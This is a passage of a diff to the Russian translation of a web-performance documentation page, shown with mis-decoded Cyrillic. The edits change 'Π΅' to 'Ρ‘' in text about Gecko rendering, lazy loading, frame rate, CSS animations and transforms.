Π°Π΄Π°ΠΏΡ‚Π΅Ρ€ находится Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ оТидания ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½.</p>
+<p>Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с HTML, CSS ΠΈ Canvas ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ нСсколькими путями. НапримСр, композиция (этап, извСстный ΠΊΠ°ΠΊ Layout) Π² HTML/CSS ΠΈ ΠΊΠΎΠ΄, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠΉ Π·Π° Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ Π² Gecko, сдСланы Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ количСство ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Ρ€Π΅Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ ΠΈ пСрСрисовки для ΠΎΠ±Ρ‰ΠΈΡ… случаСв (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, скроллинг); эти ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ "ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ", поэтому Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΈΠΌΠΈ бСсплатно. Π‘ΡƒΡ„Π΅Ρ€Ρ‹ пиксСлСй, отрисованных ΠΊΠ°ΠΊ для Gecko "автоматичСски", Ρ‚Π°ΠΊ ΠΈ для <code>canvas</code> "Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ", ΠΌΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ количСство ΠΊΠΎΠΏΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Π² Π±ΡƒΡ„Π΅Ρ€ ΠΊΠ°Π΄Ρ€ΠΎΠ² дисплСя. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ этого, Gecko стараСтся ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ создания ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Ρ… слоёв (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСмах ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹Π΅ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ Π±ΡƒΡ„Π΅Ρ€Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ прилоТСния), Π½ΠΎ Π²Π·Π°ΠΌΠ΅Π½ Gecko ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ участки памяти для хранСния графичСских Π±ΡƒΡ„Π΅Ρ€ΠΎΠ². К этой памяти ΠΈΠΌΠ΅Π΅Ρ‚ прямой доступ ΠΆΠ΅Π»Π΅Π·ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ отвСтствСнно Π·Π° Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ. Π‘Π»ΠΎΠΆΠ½Ρ‹Π΅ сцСны рСндСрятся с использованиСм графичСского Π°Π΄Π°ΠΏΡ‚Π΅Ρ€Π° (Π²ΠΈΠ΄Π΅ΠΎΠΊΠ°Ρ€Ρ‚Ρ‹). А простыС сцСны, для экономии энСргии, рСндСрятся ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΆΠ΅Π»Π΅Π·ΠΎΠΌ для ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, Π² Ρ‚ΠΎ врСмя, ΠΊΠ°ΠΊ графичСский Π°Π΄Π°ΠΏΡ‚Π΅Ρ€ находится Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ оТидания ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½.</p>
<p>Для ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Ρ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ статичный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ скорСС являСтся ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ, Ρ‡Π΅ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΠΌ. Π’Π°ΠΊΠΈΠ΅ прилоТСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ динамичСский ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{ cssxref("animation") }} ΠΈ {{ cssxref ("transition") }}. ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρ‹ ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ особСнно Π²Π°ΠΆΠ½Ρ‹ для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ: Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS для объявлСния слоТного повСдСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ простого высокоуровнСго синтаксиса. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Π΄Π²ΠΈΠΆΠΎΠΊ Gecko Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΡƒΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ эффСктивно. Π’ Ρ†Π΅Π»ΠΎΠΌ, общСпринятыС Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΊ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ систСмному ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²Ρ‰ΠΈΠΊΡƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ ΠΈΡ… Π² эффСктивном, ΡΠ½Π΅Ρ€Π³ΠΎΡΠ±Π΅Ρ€Π΅Π³Π°ΡŽΡ‰Π΅ΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅.Β </p>
@@ -123,7 +123,7 @@ original_slug: Web/Performance/ΠžΡΠ½ΠΎΠ²Ρ‹
<p>Web-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° ΠΎΡ‡Π΅Π½ΡŒ Π΄ΠΈΠ½Π°ΠΌΠΈΡ‡Π½Π°. JavaScript - это динамичСски Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ язык, Π° Web Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄, HTML, CSS, изобраТСния ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ рСсурсы динамичСски. Π­Ρ‚ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Π»ΠΎΠΆΠΈΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ рСсурсов; Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ критичСский ΠΏΡƒΡ‚ΡŒ, ΠΏΠΎΠ΄Π²ΠΈΠ½ΡƒΠ² Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ лишнСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π½Π° нСсколько ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΏΠΎΠ·ΠΆΠ΅. Π’Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ называСтся "Π»Π΅Π½ΠΈΠ²ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ".</p>
-<p>Другая ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, которая ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π½Π΅Π½ΡƒΠΆΠ½ΠΎΠΌΡƒ ΠΏΡ€ΠΎΡΡ‚ΠΎΡŽ - это ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° запросы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, запрос ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…). Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π½ΡŒΡˆΠ΅, Π΅Ρ‰Π΅ Π²ΠΎ врСмя запуска ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π’ΠΎΠ³Π΄Π° ΠΊ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ, ΠΊΠΎΠ³Π΄Π° Π΄Π°Π½Π½Ρ‹Π΅ понадобятся - ΠΎΠ½ΠΈ ΡƒΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ Π² систСмС ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ Π½Π΅ придСтся ΠΆΠ΄Π°Ρ‚ΡŒ.</p>
+<p>Другая ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, которая ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π½Π΅Π½ΡƒΠΆΠ½ΠΎΠΌΡƒ ΠΏΡ€ΠΎΡΡ‚ΠΎΡŽ - это ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠ΅ ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° запросы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, запрос ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…). Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π½ΡŒΡˆΠ΅, Π΅Ρ‰Ρ‘ Π²ΠΎ врСмя запуска ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π’ΠΎΠ³Π΄Π° ΠΊ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ, ΠΊΠΎΠ³Π΄Π° Π΄Π°Π½Π½Ρ‹Π΅ понадобятся - ΠΎΠ½ΠΈ ΡƒΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ Π² систСмС ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ Π½Π΅ придётся ΠΆΠ΄Π°Ρ‚ΡŒ.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°: </strong>Для Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± ускорСнии запуска ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="/en-US/Apps/Developing/Performance/Optimizing_startup_performance">Optimizing startup performance</a>.</p>
@@ -133,7 +133,7 @@ original_slug: Web/Performance/ΠžΡΠ½ΠΎΠ²Ρ‹
<h3 id="Частота_ΠΊΠ°Π΄Ρ€ΠΎΠ²_2">Частота ΠΊΠ°Π΄Ρ€ΠΎΠ²</h3>
-<p>ΠŸΠ΅Ρ€Π²Π°Ρ ваТная Π²Π΅Ρ‰ΡŒ для высокой частоты ΠΊΠ°Π΄Ρ€ΠΎΠ² - это Π²Ρ‹Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ инструмСнта. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ HTML ΠΈ CSS для создания ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π² основном статичСским, ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Π΅ΠΌΡ‹ΠΌ ΠΈ Ρ€Π΅Π΄ΠΊΠΎ Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Canvas для создания высокодинамичного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ³Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎΠ³ΠΎ контроля Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΠΈ Π½Π΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² Ρ‚Π΅ΠΌΠ°Ρ….</p>
+<p>ΠŸΠ΅Ρ€Π²Π°Ρ ваТная Π²Π΅Ρ‰ΡŒ для высокой частоты ΠΊΠ°Π΄Ρ€ΠΎΠ² - это Π²Ρ‹Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ инструмСнта. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ HTML ΠΈ CSS для создания ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π² основном статичСским, ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Π΅ΠΌΡ‹ΠΌ ΠΈ Ρ€Π΅Π΄ΠΊΠΎ Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Canvas для создания высокодинамичного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ³Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎΠ³ΠΎ контроля Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΠΈ Π½Π΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² Ρ‚Π΅ΠΌΠ°Ρ….</p>
<p>ΠŸΡ€ΠΈ отрисовывании ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² Canvas, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ сам ΠΏΠΎΠ·Π°Π±ΠΎΡ‚ΠΈΡ‚ΡŒΡΡ ΠΎ достиТСнии Ρ†Π΅Π»Π΅ΠΉ ΠΏΠΎ частотС ΠΊΠ°Π΄Ρ€ΠΎΠ², вСдь ΠΎΠ½ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ всСм, Ρ‡Ρ‚ΠΎ отрисовываСтся.</p>
@@ -168,7 +168,7 @@ original_slug: Web/Performance/ΠžΡΠ½ΠΎΠ²Ρ‹
<p>ВмСсто использования Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ  <code>animate()</code> ΠΊΠ°ΠΊΠΎΠΉ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, которая, вСроятно, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ»ΠΎΡ…ΠΈΡ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ({{domxref("window.setTimeout()")}} ΠΈΠ»ΠΈ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ top / left), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</a>. Π’ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… случаях, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">CSS Transitions</a>. ИспользованиС этих свойств ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ спроСктирован Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эти эффСкты ΠΈ ΠΏΠ΅Ρ€Π΅Π½ΠΎΡΠΈΡ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒ вычислСний Π½Π° GPU, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ ΠΏΠ»Π°Π²Π½ΠΎ ΠΈ с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ влияниСм Π½Π° процСссор. Π”Ρ€ΡƒΠ³ΠΎΠ΅ прСимущСство - Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ эти Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π² CSS Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π° Π½Π΅ Π² бизнСс-Π»ΠΎΠ³ΠΈΠΊΠ΅ прилоТСния.</p>
-<p>CSS Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π΄Π°ΡŽΡ‚ Π²Π°ΠΌ ΠΎΡ‡Π΅Π½ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ эффСктов, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ <a href="/en-US/docs/Web/CSS/@keyframes">keyframes</a>. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Π²Ρ‹ смоТСтС ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ события, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ происходят Π²ΠΎ врСмя Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ основной ΠΏΠΎΡ‚ΠΎΠΊ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π½Π΅ блокируСтся. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref(":hover")}}, {{cssxref(":focus")}} ΠΈΠ»ΠΈ {{cssxref(":target")}}. Или динамичСски добавляя ΠΈΠ»ΠΈ удаляя классы элСмСнта.</p>
+<p>CSS Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π΄Π°ΡŽΡ‚ Π²Π°ΠΌ ΠΎΡ‡Π΅Π½ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ эффСктов, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ <a href="/en-US/docs/Web/CSS/@keyframes">keyframes</a>. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Π²Ρ‹ смоТСтС ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ события, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ происходят Π²ΠΎ врСмя Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ основной ΠΏΠΎΡ‚ΠΎΠΊ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π½Π΅ блокируСтся. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref(":hover")}}, {{cssxref(":focus")}} ΠΈΠ»ΠΈ {{cssxref(":target")}}. Или динамичСски добавляя ΠΈΠ»ΠΈ удаляя классы элСмСнта.</p>
<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ "Π½Π° Π»Π΅Ρ‚Ρƒ" ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΡ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript, ДТСймс Π›ΠΎΠ½Π³ написал ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ для этого - <a href="https://github.com/jlongster/css-animations.js/">CSS-animations.js</a>.</p>
@@ -176,7 +176,7 @@ original_slug: Web/Performance/ΠžΡΠ½ΠΎΠ²Ρ‹
<p>ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈ Π²ΠΎΠ·ΠΈΡ‚ΡŒΡΡ с этой ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΎΠΉ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ свойство {{cssxref("transform")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ, ΠΌΠ°ΡΡˆΡ‚Π°Π± ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ аспСкты вашСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. ИмСнно Ρ‚Π°ΠΊ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΠΎΠ΅ ускорСниС. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΡƒΠΌΠ΅Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ΠΈ графичСскому процСссору, давая Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ЦПУ Π·Π°Π½ΡΡ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π²Π°ΠΆΠ½Ρ‹ΠΌΠΈ Π²Π΅Ρ‰Π°ΠΌΠΈ.</p>
